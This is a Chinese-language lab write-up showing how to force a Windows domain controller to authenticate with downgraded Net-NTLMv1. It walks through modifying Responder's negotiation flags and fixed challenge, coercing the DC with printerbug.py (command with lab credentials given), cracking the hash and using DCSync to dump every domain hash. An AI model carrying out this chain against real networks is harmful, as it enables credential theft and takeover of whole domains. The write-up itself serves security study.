利用LAN身份验证级别配置不当攻击域控

从Windows Server 2008开始,默认使用Net-NTLM v2协议,在身份验证级别配置不当的情况下,可以将其降级到Net-NTLM v1,破解的难度会大大降低。

在本地安全策略里可以对身份验证级别进行修改,修改为发送LM和NTLM响应

image-20210912213607195

这时通过对NTLM协商步骤中Flag字段进行设置,就可以让客户端使用Net-NTLM v1来向我们认证。

环境如下:

攻击机:Kali 192.168.134.128

DC:Windows Server 2012 192.168.134.80

需要对Responder进行修改,文件位于/usr/share/responder/packets.py

image-20210914215504359

修改NTLMSSPNtNegotiateFlags值为\x15\x82\x81\xe2(原来的值为\x15\x82\x89\xe2),这样可以在降级后还能与高版本服务器交互。

同时修改Responder.conf,将challenge设置为1122334455667788:

image-20210914220041343

使用--lm参数启动Responder监听,之后使用打印机漏洞或PetitPetom让域控向我们发起认证请求,就可以拿到Net-NTLM v1 Hash.这里还需要一个普通域用户的用户名和密码。

以打印机漏洞为例,使用printerbug.py

python3 printerbug.py hack.org/user1:usersec!2021@192.168.134.80 192.168.134.128

image-20210915230334841

成功接收到了NTLM v1 Hash,使用ntlmv1.py进行转换:

image-20210915231431957

拿到crack.sh破解出NTML Hash,在线且免费,很快邮箱就能收到:

image-20210915231605152

之后就可以利用DCSync导出域内所有用户hash,因为我们拿到的NTLM Hash为域控制器的计算机账户。

在实际环境中,其实很难遇到这种降级的情况,仅作研究学习吧。